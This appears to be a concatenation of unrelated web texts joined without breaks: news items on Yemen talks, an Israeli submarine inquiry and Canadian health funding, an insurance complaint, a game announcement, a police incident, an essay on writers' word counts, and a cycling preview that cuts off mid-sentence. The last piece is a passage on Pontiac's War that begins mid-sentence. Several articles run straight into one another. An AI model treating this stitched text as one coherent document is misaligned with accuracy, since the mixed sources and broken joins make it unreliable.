The Houthis backed the talks and said they would participate. Houthi militia leader Abdul-Malek al-Houthi had described talks as the only solution to the war, a view backed by the U.N. chief. Al-Houthi boycotted a recent conference hosted by Saudi Arabia, demanding that peace negotiations be held in a neutral country.
The talks, announced last week, were the first major initiative of the new U.N. special envoy for Yemen, Ismail Ould Cheikh Ahmed, who this month held meetings in Yemen with rival political players.
Ban asked Ahmed to redouble his efforts with all parties and countries in the region “with the aim of producing a comprehensive ceasefire and the resumption of peaceful dialogue and an orderly political transition,” Dujarric said.
Ban noted the escalation in fighting following a five-day humanitarian pause that ended last week and urged all parties “to be mindful of the suffering of Yemeni civilians” caused by a delay in returning to peace talks, the spokesman said.
Last Update: Tuesday, 26 May 2015 KSA 22:59 - GMT 19:59CHARLESTON, TENNESSEE -- Over two years ago I started having severe headaches every time I went to bed. Multiple doctor visits resulted in MRI, neurologist visit, physical therapy, and several medications. Nothing made any difference. By the middle of 2017 the occurrences increased in intensity. By now, I'm not able to sleep except between the attacks that came about every 90 minutes.
Finally, in December 2017 I found a description on Mayo Clinic's website that described in complete detail what I was experiencing. I immediately made an appointment with my doctor and he offered "an experiment." He sent me home with an oxygen machine to use while I slept. Mayo Clinic's website confirmed that the attacks I was experiencing were treatable with oxygen. After a three night trial, all my attacks stopped, I slept, I felt normal for the first time in over two years. I went back to tell my doctor and he told me to keep the machine until he could contact my insurance and order the machine for me.
What arrived was an oxygen tank that would only last 12-13 hours. I immediately knew that would not work. But because that was all that I was told my insurance would pay for, I tried it. Here is the result: I would go to sleep, and a cluster would wake me up. I would grab the oxygen line and turn on the machine. When it subsided, I would turn it off to save oxygen. Try to go to sleep, wake up again, turn it on, turn it off... Since the pain had already taken hold, I was never able to get complete relief because clusters will cause migraines. So for four days, I had migraines during the day, and the repeated cluster attacks at night.
I called BCBS to find out why I was rejected for a machine that would run all night. The woman on the phone told me she was "writing all this down." The next day I went back to my doctor to discuss options. He told me he would "investigate, and contact BCBS and let me know." The next day the oxygen company (Lincare) called and said they were bringing out another full machine to replace the empty one.
The very next day, LINCARE called and said, "BCBS has denied paying for a machine for you and an oxygen tank. We will be coming to take it back." After the call, I called BCBS to make an appeal and gave a detailed history to Michael (who was very patient and sympathetic). He told me he would submit it as an expedited appeal and I would get an answer in 72 hours. When I hung up, I had a good cry from all the frustration and confusion and also quite a bit of hatred for an insurance person that will deny a request based on a form.
In about an hour, BCBS called me back. They said they were reviewing my appeal, but needed my doctor's number. (WHAT?). So I gave it to her. Then, in a few minutes, she called me back and said, "Your expedited appeal has been changed to'regular processing' because we could not reach your doctor."
Every medical prescription I have tried to fill with BCBS has been denied and I've had to appeal to get it covered. Overall, I am a healthy person and I've resorted to natural medication to replace the prescriptions. This, however, has me over a barrel. If I can't sleep, or rest, or function normally pretty soon the medical profession by the stupidity of BCBS will have me on multiple medications to get me what they will call "medically necessary." May God do to them and more also as they have done to me.JERUSALEM (Reuters) - Israel’s attorney-general ordered the police on Wednesday to investigate a government contract with Germany for three submarines and other naval craft, the Justice Ministry said.
The deal has come under public scrutiny since it emerged that Prime Minister Benjamin Netanyahu’s personal lawyer also represents the local agent of the German conglomerate ThyssenKrupp Marine Systems set to build the vessels.
“Following new information that has been received today from the police and in view of other developments in the matter... the attorney-general has ordered an investigation to be carried out by police concerning various aspects of the affair,” the Justice Ministry said in a statement.
Both Netanyahu and his attorney David Shimron have denied any impropriety and ThyssenKrupp Marine Systems said it has no contractual connection with the lawyer.
Shimron said he welcomed the inquiry and that its findings would clear him and that he would cooperate with investigators.
“I am absolutely certain... that objective, expert officials will find, once and for all, that my actions were faultless and that I acted according to the law and in line with conflict-of-interest arrangements,” Shimron said in a statement.
On Tuesday, Netanyahu’s office issued a statement defending Shimron’s integrity.
Shimron also represents Miki Ganor, an Israeli businessman described by the Kiel-based shipyards as its sales partner.
The three submarines, costing about $1.5 billion, are due to replace aging vessels and will be delivered in about 10 years. Israel currently has a fleet of five German submarines, with a sixth due to go in service around 2018.
With the Israeli media largely focused on Shimron and the ethics of his representing both Netanyahu and Ganor, the prime minister, now in his fourth term, does not appear to be in any immediate political danger.
Nor has there been any indication that the deal itself, which Netanyahu, 67, defended in public remarks to his cabinet on Sunday, is in any jeopardy.
The submarines are widely believed to be capable of carrying missiles with nuclear warheads and serve as a second-strike deterrent against Iran, should it ever build atomic weapons.
Iran has denied ever seeking nuclear arms and Israel has never acknowledged that it has any of its own.
First elected to Israel’s top office two decades ago, Netanyahu has weathered several scandals, including a police investigation and state audits into his family’s spending.
Former defense minister Moshe Yaalon, who was removed by Netanyahu and is now a political rival, has said that the new submarines are surplus to Israel’s requirements.Ratalaika Games has announced yet another game for Wii U and 3DS. At some point in the future, Defend Your Crypt will be coming to the two platforms as an eShop title.
Defend Your Crypt is a puzzle-strategy game where players take control of a pharaoh to
protect his gold from grave robbers. They’ll need to use a variety of traps in order to take down enemies and avoid being robbed. Players can look forward to an Egyptian-inspired, retro pixel art style.
Here’s a rundown of features:
– Trap variety: The game will contain classic traps such as open platforms, which can make robbers
fall onto spikes, and also water traps or killer scorpions and beetles.
– Levels: A large number of levels to make sure the robbers will not steal any of your gold, and you
enjoy the game to the fullest. A lot of time can be spent on finishing all of them!
– Robbers with feelings: No robbers are heartless. Throughout the game, players will see robbers
in different moods, and they will also interact with each other a little bit. Seeing a hallway full of
blood could make a robber sad and break his heart.
At the moment, while Defend Your Crypt remains in development, any sort of release timeframe has not been announced.
Source: Ratalaika Games PR
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PocketAn Aberdeen man was transported to Community Hospital for evaluation last night after residents in the 2000 block of Cherry Street reported a man was defecating in their driveway and attempting to mate with their garbage can.
A source at the Aberdeen Police Department tells us neighbors called 911 around 9:30 p.m. Tuesday night after seeing the man peeking in windows. Another caller said the man was not wearing pants and was defecating in a driveway before attempting to fornicate with a LeMay garbage can.
Responding officers said the 25-year-old Aberdeen man was unable to communicate with them. Our source said that based on his interactions with police, they felt that he may have ingested a large amount of marijuana or synthetic marijuana.
The Aberdeen Fire Department also responded, and transported the man to Community Hospital for further evaluation. Our source noted that police did not arrest him, he was transported by ambulance for evaluation based on his behavior.
Police checked the area afterwards and found no “deposits” in the driveway.
A woman commented on our Facebook post that she was a witness to the event, Skyla Bittner wrote “I was there when this happened last night he was found unable to communicate laying in the middle of the street not humping a garbage can all of his clothes were intact they found no drugs or paraphernalia on him and the poor kid just kept crying saying…all’s I did was smoke weed…. I like to say thank you to the police officers who handle it accordingly you could tell that this kid was in need of medical attention.”
CommentsScott Fitzgerald once wrote to a close family friend and aspiring young writer: “nobody ever became a writer just by wanting to be one”. It takes time, and effort. You have to put the hours in. You have to actually, well, write (surprising, huh?).
We’ve previously asked whether there is such a thing as the ‘perfect’ daily routine for writing. But if there is no such thing as an average writing day, is there any guidance on how much you should be at least aiming to write as you start to pen that epic poem or finally look to finish that novel you’ve been working on?
R.F. Delderfield, the English author of family sagas, wrote 33 pages each day, and he wrote until four o’clock in the afternoon. If he finished a novel at three o’clock, he rolled a clean sheet of paper into his typewriter, and began the next novel, and worked until quitting time. He credited a daily swim in the English Channel for his prodigious output.
Of course, not all of us are R.F. Delderfield. Not all of us write family sagas. And not all of us have ready access to the English Channel for our regular swimming sessions. Indeed, with author’s incomes collapsing to near ‘abject’ levels, many writers are increasingly facing more challenging difficulties in finding the time to meet their word output targets.
So what about other writers? How many words do they (or did they, in some cases) write each day? We’ve put together a list of the daily word counts of 20 famous authors, which you can check out here below.
Of course, there’s a problem with just taking a writer’s word counts and trying to deduce too much insight from them. The authors in the above list all write in different styles and genres – using different tools and in different conditions from one another. Not all writers monitor their word count – and others would advise against it; after all, the adage ‘quality, not quantity’ is surely rarely more applicable than when used in relation to writing.
Indeed, some writers – who write very well – will produce a great quantity of work that is then stripped back so much that to try and say how many words were actually produced per day over the course of any writing project is nigh impossible. Consider Philip Roth, for example, who said in his interview with the Paris Review that “I often have to write a hundred pages or more before there’s a paragraph that’s alive.”
Or there’s James Joyce, who took seventeen years to write Finnegan’s Wake.
On the point of Joyce, there’s a good Stephen King joke on the subject of his word count:
“A friend came to visit James Joyce one day and found the great man sprawled across his writing desk in a posture of utter despair. James, what’s wrong?’ the friend asked. ‘Is it the work?’ Joyce indicated assent without even raising his head to look at his friend. Of course it was the work; isn’t it always? How many words did you get today?’ the friend pursued. Joyce (still in despair, still sprawled facedown on his desk): ‘Seven.’ Seven? But James… that’s good, at least for you.’ Yes,’ Joyce said, finally looking up. ‘I suppose it is… but I don’t know what order they go in!”
This joke echoes the sentiment of a famous story about Gustave Flaubert, in which his bohemian friends stopped by his house one day, and invited him to go out for a few days of debauchery (who wouldn’t?!). Flaubert declined, saying he had to write, so they went off and returned a few days later. (A good solid length of debauching, one would say). “How did your writing go?” they asked once they returned. “Fantastic!” Flaubert replied. “I put the semicolon back in.”
So it’s important to take each of the writer’s word counts with a pinch of salt – in that, just because they are writing x amount of words; it doesn’t mean you should be, too.
With that in mind, it can still be an interesting work of self-evaluation to consider how many words you write each day. Are you as prolific of Crichton or more careful with your words like Hemingway or Dorothy Parker? Let us know in the comments below!
AdvertisementsProvincial and territorial premiers have written to Justin Trudeau to seek a firm commitment from the prime minister for a meeting on health-care funding before the first ministers' meet to discuss climate change this fall.
In the letter obtained by CBC News, the premiers say if a meeting on health care is not possible by mid-December, they want the prime minister to commit to extending increased health-care transfers for at least another year.
"In the spirit of collaboration and to reflect the importance of this issue, we believe that this meeting should be confirmed prior to the first ministers' meeting on climate change and clean growth," Yukon Premier Darrell Pasloski wrote on the premiers' behalf earlier this month.
Trudeau and the premiers are due to meet this fall to finalize plans for reducing Canada's greenhouse gas emissions.
In his letter, Pasloski says premiers would also like to hold a meeting "solely dedicated to long-term health-care financing before mid-December."
The premiers publicly asked for a meeting with Trudeau in July, but have so far failed to secure a commitment from the prime minister.
The premiers are unhappy with a planned decrease in the annual increase attached to the Canada Health Transfer (CHT), the mechanism through which the federal government provides provincial and territorial governments with funding for health care.
Previously set at six per cent by Paul Martin's Liberal government, the rate was scheduled by Stephen Harper's Conservative government to decrease to a minimum of three per cent next year.
"If a meeting on long-term health-care financing is not possible within the proposed timeframe, we ask that you formally commit to postponing the entry into force of the proposed CHT changes for at least one year," Pasloski writes.
"This will give us the opportunity to reach an agreement that reflects intergovernmental collaboration and is respectful of [provincial and territorial] jurisdiction, which we believe will be to the benefit of all Canadians the Canadian federation."
Bargaining chip?
This isn't the first time the premiers have tried to use a federal government priority as leverage in their fight for increased health care funding.
Prior to the Council of the Federation meeting in Whitehorse in July, the Prime Minister's Office reached out to premiers, proposing Trudeau join them there briefly.
A few weeks earlier, provinces had signed on to a federal proposal to reform the Canada Pension Plan. Trudeau's office envisioned a photo call with the provincial and territorial premiers to highlight this accomplishment.
Staff in various premiers' offices across the country started talking to each other, comparing what Ottawa was saying to them individually before deciding what to do.
Shortly after, the message went back to Ottawa from the premiers as a group: No. If Trudeau wanted to join them in Yukon, he'd better be prepared for negotiations between First Ministers about health care funding — not just a photo op.
Trudeau decided not to go to Whitehorse.
The premiers used their talks to prepare for the fall negotiations ahead.
The premiers' talking points gelled around a common theme: the need for the federal government to increase funding, without strings attached — rebuffing Health Minister Jane Philpott's proposal to target additional funds towards a federal objective, such as home care.WorldTouring in North America, Chapter 1
The WorldTour follows up GP Ouest France with two more Grand Prix circuit-style races this weekend, also run on hilly courses that seem to lead to battles between late attacekrs and hard-charging pursuit groups. This weekend’s competitions are unique among WorldTour races, however, in that they take place in North America. Canada, to be exact.
Friday’s race comprises 16 laps of 12.6km (totalling 201.6km) around scenic Old Quebec. It has a number of rolling ups and downs and it finishes on an incline; obviously, there are no Alpine summits in the middle of Quebec City, but the ascents are more than enough to encourage constant aggressive moves off the front, and even if attacks are reeled in, the incline at the line favors the lighter, more versatile hard-chargers. Last year, Simon Gerrans and Greg Van Avermaet jumped ahead in the final lap, and hung on despite a spirited bridging attempt by Peter Sagan and an impressive (and sizeable) group of pursuers behind them, a group that was led across the line by Rui Costa. Going further back, we see similar outcomes. The hard pace of the 2011 edition whittled the lead group down to a group of about ten on the final lap, and Philippe Gilbert added another victory to his great list that year by launching a successful attack with Robert Gesink in the final kilometers, and then beating the Dutchman to the line. The inaugural edition in 2010 saw Tommy Voeckler make a successful bid for glory. Given the versatile talents in attendance, I think this year’s Grand Prix Cycliste de Quebec will again come down to a late attack battling a small group of chasers, though a sizable bunch sprint for the line isn’t out of the question, and while I think it’s a bit less likely, neither is a long-range breakaway victory.
None of this race’s past winners will make the start tomorrow, meaning that 2013 will see a new winner in Quebec. One favorite for that title stands above the rest: Cannondale’s Peter Sagan. After a successful classics campaign in which he nabbed a win at Gent-Wevelgem and a boatload of other high placings, he stormed the Tour de France green jersey competition. But he hasn’t been resting on his laurels: he’s been a prominent feature in some big American stage races, winning stages and the points competition at the USA Pro Cycling Challenge. He has clearly kept his form sharp, and with so many opportunities to tune up at the AmericaTour level in preparation for the big doubleheader in Canada this weekend, it’s hard to see past him. As he showed in Gent-Wevelgem, he’s more than capable of winning via a late attack. He came close to bridging the gap last year, and this year he’s got that much more experience, and probably better form. He’s a smart rider and a excellent handler, which will come in handy in the constant quest to come out of the corners at high speed. He’s shown time and again this year that all but the most difficult of climbs are not a problem for him, making it very likely that he’ll be somewhere near the front towards the end of this race. Whether he attacks off the front or outsprints the field, Sagan has the tools to win this thing.
He’ll have a big target on his back, and his challengers will be many. One rider who has been just behind Sagan at a number of races this year is Greg Van Avermaet, who has looked sharp through his many appearances this summer. He attacked on the final climb of the GP Ouest France, but the break refused to organize themselves: GVA himself seemed to be the most concerned with dragging other riders to the finish and, therefore, wouldn’t work with a group. As such, he didn’t start with enough of a gap when he launched his own solo from the reduced bunch, and was caught in the final few hundred meters. He’ll hope to have a bit more success in Quebec, where he narrowly lost out to Simon Gerrans last year. Like Sagan, his skillset makes him a danger in both a late attack and a reduced sprint; he’s not as quick as the Slovakian wunderkind, but he might be a bit more likely to make a move, which showed last year.
Also in that last-ditch move on the final climb of Ouest France was Michal Kwiatkowski, who was a familiar face on most of the intermediate stages where Sagan featured so prominently in the Tour de France. Had the final break managed to work together two weeks ago, he would have been a strong contender for the win. He’s a better climber than Sagan, but still has a great sprint. His teammate Sylvain Chavanel has earned himself a ton of camera time time this year with his characteristic aggressive riding, and his time trial victory at the Eneco Tour shows that the 34 year old is still soloing well this year. He’ll probably need to strike earlier than guys like Sagan or Van Avermaet, but if he can time an attack, he’s always a good bet to feature on a profile like this.
Rui Costa has had a lot of success in Canada (he was just behind Van Avermaet last year), and he has the perfect combination of skills to win in a variety of ways. He showed off that combination of skills by winning two stages from a breakaway in the Tour de France; he can solo, he can climb better than most other riders in this race, and he has a surprising sprint. He’ll definitely be lurking around the top of the leaderboard. His teammate Francisco Ventoso is another rider with a shot, coming off a top 10 in Ouest France.
Lotto Belisol’s Jurgen Roelandts, Belkin’s Lars Petter Nordhaug (who won last year’s Grand Prix Cycliste de Montreal) and Tom Jelte Slagter (fifth here last year), Cannondale’s Moreno Moser, Astana’s trio of Francesco Gavazzi, Borut Bozic, and Simon Ponzi, and Radioshack’s trio of Tony Gallopin (winner of the Clasica de San Sebastian), Jan Bakelants (Tour de France stage winner) and Maxime Monfort are all also great candidates for a win from a late attack or a very reduced field sprint.
If a larger bunch reaches the finish line, it will be hard to beat Sagan in a sprint, but John Degenkolb of Argos-Shimano and Giacomo Nizzolo of Radioshack (they have a lot of options here!) are on the shortlist of riders who have a decent shot at it. Degenkolb went into the Vattenfall Cyclassics as something of an unknown in terms of form, and all he did was win the whole thing. He showed continued form at the GP Ouest France, where he, too, managed to get into the late attack of Van Avermaet and Kwiatkowski (and was probably the prime reason that the breakaway attempt refused to cooperate), quite a feat for a sprinter. He then proceeded to place tenth in the sprint after putting out a lot of effort in the failed attempt to break free. He won’t mind the uphill finish in Quebec. Neither will Giacomo Nizzolo, who looks great right now, and who came so close to a win at Ouest France, but was denied at the line by a charging Filippo Pozzato. Speaking of Pozzato, I almost didn’t mention him in my Ouest France preview, given a lack of recent results, and I’m still not really sure how to judge his chances here: was his Ouest France win a flash in the pan, or is his form back to where it once was? Matti Breschel of Saxo-Tinkoff was a top 10 finisher at the Vattenfall Cyclassics and is a capable climber. Look out for Luka Mezgec, who was just behind Sagan in a bunch of stages in Alberta and the USAPCC and who could be a second option for Argos if Degenkolb struggles. And, of course, Matt Goss will be in attendance, though he was 27th at Vattenfall’s sprintfest and a DNF in the GP Ouest France.
A number of big name Grand Tour winners are making the start, probably looking to go for a long one, launching off one of the many hills they’ll ascend in their trips around Quebec: Ryder Hesjedal, Chris Froome, Alberto Contador, Cadel Evans, and even Andy Schleck are all here. Sky also has Richie Porte, Garmin also has Andrew Talansky, Tom Danielson, and Fabian Wegman (Top 10 in every edition of this race so far), and BMC’s Tejay van Garderen gives that team yet |
the ground.[52]
Fort St. Joseph (the site of present-day Niles, Michigan) was captured on May 25, 1763, by the same method as at Sandusky. Potawatomis seized the commander and killed most of the 15-man garrison outright.[53] Fort Miami (on the site of present Fort Wayne, Indiana) was the third fort to fall. On May 27, 1763, the commander was lured out of the fort by his Native mistress and shot dead by Miami Native Americans. The nine-man garrison surrendered after the fort was surrounded.[54]
In the Illinois Country, Weas, Kickapoos, and Mascoutens took Fort Ouiatenon (about 5 miles (8.0 km) west of present Lafayette, Indiana) on June 1, 1763. They lured soldiers outside for a council, and took the 20-man garrison captive without bloodshed. The Native Americans around Fort Ouiatenon had good relations with the British garrison, but emissaries from Pontiac at Detroit had convinced them to strike. The warriors apologized to the commander for taking the fort, saying that "they were obliged to do it by the other Nations."[55] In contrast with other forts, the Natives did not kill the British captives at Ouiatenon.[56]
The fifth fort to fall, Fort Michilimackinac (present Mackinaw City, Michigan), was the largest fort taken by surprise. On June 2, 1763, local Ojibwas staged a game of stickball (a forerunner of lacrosse) with visiting Sauks. The soldiers watched the game, as they had done on previous occasions. The ball was hit through the open gate of the fort; the teams rushed in and were given weapons which Native women had smuggled into the fort. The warriors killed about 15 of the 35-man garrison in the struggle; later they killed five more in ritual torture.[57]
Three forts in the Ohio Country were taken in a second wave of attacks in mid-June. Iroquois Senecas took Fort Venango (near the site of the present Franklin, Pennsylvania) around June 16, 1763. They killed the entire 12-man garrison outright, keeping the commander alive to write down the grievances of the Senecas. After that, they ritually burned him at the stake.[58] Possibly the same Seneca warriors attacked Fort Le Boeuf (on the site of Waterford, Pennsylvania) on June 18, but most of the 12-man garrison escaped to Fort Pitt.[59]
On June 19, 1763, about 250 Ottawa, Ojibwa, Wyandot, and Seneca warriors surrounded Fort Presque Isle (on the site of Erie, Pennsylvania), the eighth and final fort to fall. After holding out for two days, the garrison of about 30 to 60 men surrendered, on the condition that they could return to Fort Pitt.[60] The warriors killed most of the soldiers after they came out of the fort.[61]
Siege of Fort Pitt [ edit ]
Colonists in western Pennsylvania fled to the safety of Fort Pitt after the outbreak of the war. Nearly 550 people crowded inside, including more than 200 women and children.[62] Simeon Ecuyer, the Swiss-born British officer in command, wrote that "We are so crowded in the fort that I fear disease... ; the smallpox is among us."[63] Fort Pitt was attacked on June 22, 1763, primarily by Delawares. Too strong to be taken by force, the fort was kept under siege throughout July. Meanwhile, Delaware and Shawnee war parties raided deep into Pennsylvania, taking captives and killing unknown numbers of settlers in scattered farms. Two smaller strongholds that linked Fort Pitt to the east, Fort Bedford and Fort Ligonier, were sporadically fired upon throughout the conflict, but were never taken.[64]
Before the war, Amherst had dismissed the possibility that the Native Americans would offer any effective resistance to British rule, but that summer he found the military situation becoming increasingly grim. He ordered subordinates to "immediately... put to death" captured enemy Native American warriors. To Colonel Henry Bouquet at Lancaster, Pennsylvania, who was preparing to lead an expedition to relieve Fort Pitt, Amherst wrote on about June 29, 1763: "Could it not be contrived to send the small pox among the disaffected tribes of Indians? We must on this occasion use every stratagem in our power to reduce them."[65] Bouquet responded to Amherst (summer of 1763):[66]
P.S. I will try to inocculate [sic] the Indians by means of Blankets that may fall in their hands, taking care however not to get the disease myself. As it is pity to oppose good men against them, I wish we could make use of the Spaniard's Method, and hunt them with English Dogs. Supported by Rangers, and some Light Horse, who would I think effectively extirpate or remove that Vermine.
In a postscript, Amherst replied:[66]
P.S. You will Do well to try to Innoculate [sic] the Indians by means of Blankets, as well as to try Every other method that can serve to Extirpate this Execrable Race. I should be very glad your Scheme for Hunting them Down by Dogs could take Effect, but England is at too great a Distance to think of that at present.
Officers at the besieged Fort Pitt had already attempted to do what Amherst and Bouquet were discussing, apparently on their own initiative. During a parley at Fort Pitt on June 24, 1763, Ecuyer gave Delaware representatives, Turtleheart and Mamaltee,[67] two blankets and a handkerchief that had been exposed to smallpox, hoping to spread the disease to the Native Americans in order to "extirpate" them from the territory.[68] William Trent, the militia commander, left records that showed the purpose of giving the blankets was "to Convey the Smallpox to the Indians."[69][70] Turtleheart and Killbuck would later represent the Delaware at the Treaty of Fort Stanwix in 1768.[71]
On July 22, Trent writes, "Gray Eyes, Wingenum, Turtle's Heart and Mamaultee, came over the River told us their Chiefs were in Council, that they waited for Custaluga who they expected that Day".[72] There are eyewitness reports[73][74] that outbreaks of smallpox and other diseases had plagued the Ohio Native Americans in the years prior to the siege of Fort Pitt.[75] Colonists also caught smallpox from Native Americans at a peace conference in 1759 which then led to an epidemic in Charleston and the surrounding areas in South Carolina.[72]
Historians are at odds as to how much damage the attempt to spread smallpox at Fort Pitt caused. Historian Francis Jennings concluded that the attempt was "unquestionably successful and effective" and inflicted great damage to the Native Americans.[76] Historian Michael McConnell writes that, "Ironically, British efforts to use pestilence as a weapon may not have been either necessary or particularly effective", noting that smallpox was already entering the territory by several means, and Native Americans were familiar with the disease and adept at isolating the infected.[77] Historians widely agree that smallpox devastated the Native American population.[78][79]
Bushy Run and Devil's Hole [ edit ]
On August 1, 1763, most of the Native Americans broke off the siege at Fort Pitt in order to intercept 500 British troops marching to the fort under Colonel Bouquet. On August 5, these two forces met at the Battle of Bushy Run. Although his force suffered heavy casualties, Bouquet fought off the attack and relieved Fort Pitt on August 20, bringing the siege to an end. His victory at Bushy Run was celebrated in the British colonies—church bells rang through the night in Philadelphia—and praised by King George.[80]
This victory was soon followed by a costly defeat. Fort Niagara, one of the most important western forts, was not assaulted, but on September 14, 1763, at least 300 Senecas, Ottawas, and Ojibwas attacked a supply train along the Niagara Falls portage. Two companies sent from Fort Niagara to rescue the supply train were also defeated. More than 70 soldiers and teamsters were killed in these actions, which Anglo-Americans called the "Devil's Hole Massacre", the deadliest engagement for British soldiers during the war.[81]
Paxton Boys [ edit ]
Massacre of the Indians at Lancaster by the Paxton Boys in 1763, lithograph published in Events in Indian History (John Wimer, 1841)., lithograph published in(John Wimer, 1841).
The violence and terror of Pontiac's War convinced many western Pennsylvanians that their government was not doing enough to protect them. This discontent was manifested most seriously in an uprising led by a vigilante group that came to be known as the Paxton Boys, so-called because they were primarily from the area around the Pennsylvania village of Paxton (or Paxtang). The Paxtonians turned their anger towards Native Americans—many of them Christians—who lived peacefully in small enclaves in the midst of white Pennsylvania settlements. Prompted by rumors that a Native war party had been seen at the Native village of Conestoga, on December 14, 1763, a group of more than 50 Paxton Boys marched on the village and murdered the six Susquehannocks they found there. Pennsylvania officials placed the remaining 16 Susquehannocks in protective custody in Lancaster, but on December 27 the Paxton Boys broke into the jail and slaughtered most of them. Governor John Penn issued bounties for the arrest of the murderers, but no one came forward to identify them.[82]
The Paxton Boys then set their sights on other Native Americans living within eastern Pennsylvania, many of whom fled to Philadelphia for protection. Several hundred Paxtonians marched on Philadelphia in January 1764, where the presence of British troops and Philadelphia militia prevented them from committing more violence. Benjamin Franklin, who had helped organize the local militia, negotiated with the Paxton leaders and brought an end to the immediate crisis. Franklin published a scathing indictment of the Paxton Boys. "If an Indian injures me," he asked, "does it follow that I may revenge that Injury on all Indians?"[83] One leader of the Paxton Boys was Lazarus Stewart who would be killed in the Wyoming Massacre of 1778.
British response, 1764–1766 [ edit ]
Native American raids on frontier settlements escalated in the spring and summer of 1764. The hardest hit colony that year was Virginia, where more raids occurred on July 26, when four Delaware Indian soldiers killed and scalped a school teacher and ten children in what is now Franklin County, Pennsylvania. Incidents such as these prompted the Pennsylvania Assembly, with the approval of Governor Penn, to reintroduce the scalp bounties offered during the French and Indian War, which paid money for every Native killed above the age of ten, including women.[84]
General Amherst, held responsible for the uprising by the Board of Trade, was recalled to London in August 1763 and replaced by Major General Thomas Gage. In 1764, Gage sent two expeditions into the west to crush the rebellion, rescue British prisoners, and arrest the Native Americans responsible for the war. According to historian Fred Anderson, Gage's campaign, which had been designed by Amherst, prolonged the war for more than a year because it focused on punishing the Native Americans rather than ending the war. Gage's one significant departure from Amherst's plan was to allow William Johnson to conduct a peace treaty at Niagara, giving those Native Americans who were ready to "bury the hatchet" a chance to do so.[85]
Fort Niagara treaty [ edit ]
Bouquet's negotiations are depicted in this 1765 engraving based on a painting by Benjamin West. The Native orator holds a belt of wampum, essential for diplomacy in the Eastern Woodlands
From July to August 1764, Johnson negotiated a treaty at Fort Niagara with about 2,000 Native Americans in attendance, primarily Iroquois. Although most Iroquois had stayed out of the war, Senecas from the Genesee River valley had taken up arms against the British, and Johnson worked to bring them back into the Covenant Chain alliance. As restitution for the Devil's Hole ambush, the Senecas were compelled to cede the strategically important Niagara portage to the British. Johnson even convinced the Iroquois to send a war party against the Ohio Native Americans. This Iroquois expedition captured a number of Delawares and destroyed abandoned Delaware and Shawnee towns in the Susquehanna Valley, but otherwise the Iroquois did not contribute to the war effort as much as Johnson had desired.[86]
Two expeditions [ edit ]
Having secured the area around Fort Niagara, the British launched two military expeditions into the west. The first expedition, led by Colonel John Bradstreet, was to travel by boat across Lake Erie and reinforce Detroit. Bradstreet was to subdue the Native Americans around Detroit before marching south into the Ohio Country. The second expedition, commanded by Colonel Bouquet, was to march west from Fort Pitt and form a second front in the Ohio Country.
Bradstreet set out from Fort Schlosser in early August 1764 with about 1,200 soldiers and a large contingent of Native allies enlisted by Sir William Johnson. Bradstreet felt that he did not have enough troops to subdue enemy Native Americans by force, and so when strong winds on Lake Erie forced him to stop at Presque Isle on August 12, he decided to negotiate a treaty with a delegation of Ohio Native Americans led by Guyasuta. Bradstreet exceeded his authority by conducting a peace treaty rather than a simple truce, and by agreeing to halt Bouquet's expedition, which had not yet left Fort Pitt. Gage, Johnson, and Bouquet were outraged when they learned what Bradstreet had done. Gage rejected the treaty, believing that Bradstreet had been duped into abandoning his offensive in the Ohio Country. Gage may have been correct: the Ohio Native Americans did not return prisoners as promised in a second meeting with Bradstreet in September, and some Shawnees were trying to enlist French aid in order to continue the war.[87]
Bradstreet continued westward, as yet unaware that his unauthorized diplomacy was angering his superiors. He reached Fort Detroit on August 26, where he negotiated another treaty. In an attempt to discredit Pontiac, who was not present, Bradstreet chopped up a peace belt the Ottawa leader had sent to the meeting. According to historian Richard White, "such an act, roughly equivalent to a European ambassador's urinating on a proposed treaty, had shocked and offended the gathered Indians." Bradstreet also claimed that the Native Americans had accepted British sovereignty as a result of his negotiations, but Johnson believed that this had not been fully explained to the Native Americans and that further councils would be needed. Although Bradstreet had successfully reinforced and reoccupied British forts in the region, his diplomacy proved to be controversial and inconclusive.[88]
Colonel Bouquet, delayed in Pennsylvania while mustering the militia, finally set out from Fort Pitt on October 3, 1764, with 1,150 men. He marched to the Muskingum River in the Ohio Country, within striking distance of a number of native villages. Now that treaties had been negotiated at Fort Niagara and Fort Detroit, the Ohio Native Americans were isolated and, with some exceptions, ready to make peace. In a council which began on October 17, Bouquet demanded that the Ohio Native Americans return all captives, including those not yet returned from the French and Indian War. Guyasuta and other leaders reluctantly handed over more than 200 captives, many of whom had been adopted into Native families. Because not all of the captives were present, the Native Americans were compelled to surrender hostages as a guarantee that the other captives would be returned. The Ohio Native Americans agreed to attend a more formal peace conference with William Johnson, which was finalized in July 1765.[89]
Treaty with Pontiac [ edit ]
Although the military conflict essentially ended with the 1764 expeditions,[90] Native Americans still called for resistance in the Illinois Country, where British troops had yet to take possession of Fort de Chartres from the French. A Shawnee war chief named Charlot Kaské emerged as the most strident anti-British leader in the region, temporarily surpassing Pontiac in influence. Kaské traveled as far south as New Orleans in an effort to enlist French aid against the British.[91]
In 1765, the British decided that the occupation of the Illinois Country could only be accomplished by diplomatic means. As Gage commented to one of his officers, he was determined to have "none our enemy" among the Indian peoples, and that included Pontiac, to whom he now sent a wampum belt suggesting peace talks. Pontiac had by now become less militant after hearing of Bouquet's truce with the Ohio country Native Americans.[92] Johnson's deputy, George Croghan, accordingly travelled to the Illinois country in the summer of 1765, and although he was injured along the way in an attack by Kickapoos and Mascoutens, he managed to meet and negotiate with Pontiac. While Charlot Kaské wanted to burn Croghan at the stake,[93] Pontiac urged moderation and agreed to travel to New York, where he made a formal treaty with William Johnson at Fort Ontario on July 25, 1766. It was hardly a surrender: no lands were ceded, no prisoners returned, and no hostages were taken.[94] Rather than accept British sovereignty, Kaské left British territory by crossing the Mississippi River with other French and Native refugees.[95]
Legacy [ edit ]
Because many children taken as captives had been adopted into Native families, their forced return often resulted in emotional scenes, as depicted in this engraving based on a painting by Benjamin West.
The total loss of life resulting from Pontiac's War is unknown. About 400 British soldiers were killed in action and perhaps 50 were captured and tortured to death.[96] George Croghan estimated that 2,000 settlers had been killed or captured, a figure sometimes repeated as 2,000 settlers killed.[97] The violence compelled approximately 4,000 settlers from Pennsylvania and Virginia to flee their homes.[98] Native American losses went mostly unrecorded.
Pontiac's War has traditionally been portrayed as a defeat for the Native Americans,[99] but scholars now usually view it as a military stalemate: while the Native Americans had failed to drive away the British, the British were unable to conquer the Native Americans. Negotiation and accommodation, rather than success on the battlefield, ultimately brought an end to the war.[100] The Native Americans had in fact won a victory of sorts by compelling the British government to abandon Amherst's policies and instead create a relationship with the Native Americans modeled on the Franco-Native alliance.[101]
